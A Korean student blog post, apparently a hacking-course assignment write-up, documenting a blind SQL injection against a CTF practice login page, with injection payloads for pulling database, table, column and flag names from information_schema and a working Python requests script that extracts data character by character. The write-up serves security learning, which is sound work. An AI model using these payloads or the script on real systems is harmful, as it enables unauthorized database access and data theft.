5주차 과제(해킹)

Peroro·2023년 4월 28일
0
post-custom-banner
  • 어제 배웠던 Blind SQLi에 대해서 복습 및 실습을 진행해보았다.
  • 어제처럼 노가다로 하기는 싫어서 python의 requests 모듈을 사용했다.

1. SQLI 확인

  • 위를 통해 SQLI가 통한다는 걸 알 수 있다.
mario' and '1' = '1

2. Format 만들기

위의 입력값을 이용해 Format을 만들어보자.

mario' and ((select 'test') = 'test') and '1' = '1

mario' and (ascii('t') > 0) and '1' = '1

mario' and (ascii(substring('test', 1, 1)) > 0) and '1' = '1

mario' and (ascii(substring((select 'test'), 1, 1)) > 0) and '1' = '1

format : mario' and (ascii(substring((SQL문), i, 1)) > j) and '1' = '1
//i의 경우 결과값의 문자열 번호
//j의 경우 ASCII 코드 번호

3. DB 이름 추출

select database()

4. Table 이름 추출

select table_name from information_schema.tables where table_schema = database_name limit 0,1

5. Column 이름 추출

select column_name from information_schema.columns where table_name = tablename limit 0,1

6. 데이터 이름 추출

select columnname from tablename

이 순서대로 하면 공격이 쉽게 가능하다. 하지만 Blind SQLI의 귀찮은 점이 있는데 반복문을 사용해서 참과 거짓을 선별해야하는 과정이 있다.

이제 참과 거짓을 구별을 해보자.

시행 착오

  • 이건 참일때, burp suite에서 본 것이다. response가 302이다.

  • 이건 거짓일때, burp suite에서 본 것이다. response가 200이다.

하지만 python의 requests는 둘 다 200으로 보았다. allow_redirects을 false로 두고 수동으로 리다이렉션을 처리했었어야 했다. 하지만 내가 문제를 풀 때는 그걸 몰랐기 때문에 다른 방식으로 풀었다.

response = request.post(url, data=data, allow_redirects=False)

참과 거짓 구분

  • request를 만지다가 알게 된 사실인데, login이 성공하면 이 부분이 None으로 반환되었다.
requests.post(URL, data=datas).request.body
  • login이 실패하게 된다면 내가 post로 보내려던 데이터가 반환되었다.

  • 이를 이용해 문제를 풀었다.

//blind.py
import requests

database = ''
table = ''
column = ''

form = "mario' and (ascii(substring(({}), {}, 1)) > {}) and '1' = '1"
SQL = ["select database()",
"select table_name from information_schema.tables where table_schema = 'sqli_3' limit 0,1",
"select column_name from information_schema.columns where table_name = 'flag_table' limit 0, 1",
"select flag from flag_table"]

URL = "http://ctf.segfaulthub.com:9999/sqli_3/login.php"
datas = {'UserId': '', 'Password' : 'mariosuper', 'Submit' : 'Login'}

i = 1
datas['UserId'] = form.format(SQL[0], i, 0)

while requests.post(URL, data=datas).request.body is None:
    for j in range(33, 127):
        datas['UserId'] = form.format(SQL[3], i, j)
        if requests.post(URL, data=datas).request.body is not None:
            database += chr(j)
            print(chr(j))
            break;
    i += 1
    datas['UserId'] = form.format(SQL[3], i, 0)
print(database)
  • SQL문을 저장하고 format 함수를 이용해 substring({})에 SQL문을 넣었다.
  • 원래라면 SQL문도 배열을 사용하고 database,table, column 변수에 각 데이터를 집어 넣는 것까지 자동화할 수 있었지만, 너무 날림으로 코드를 짠거 같다.
  • 데이터 하나 추출하고, SQL 배열 i값 바꾸고... 어제 노가다 했던 것보다 낫긴하지만, 조금 더 깔끔하게 못 짜서 아쉽다.


  • 워드로 깔끔하게 정리해봐야겠다.
  • 모듈화를 통해서 좀 더 이쁘게 코드를 짤 수 있을 것 같다. 너무 날림으로 코드를 짰다.
profile
오늘 공부한 것을 올리는 공간 / 일주일에 글 3개 / 블로그 이전 : https://perorochan321.tistory.com/
post-custom-banner

0개의 댓글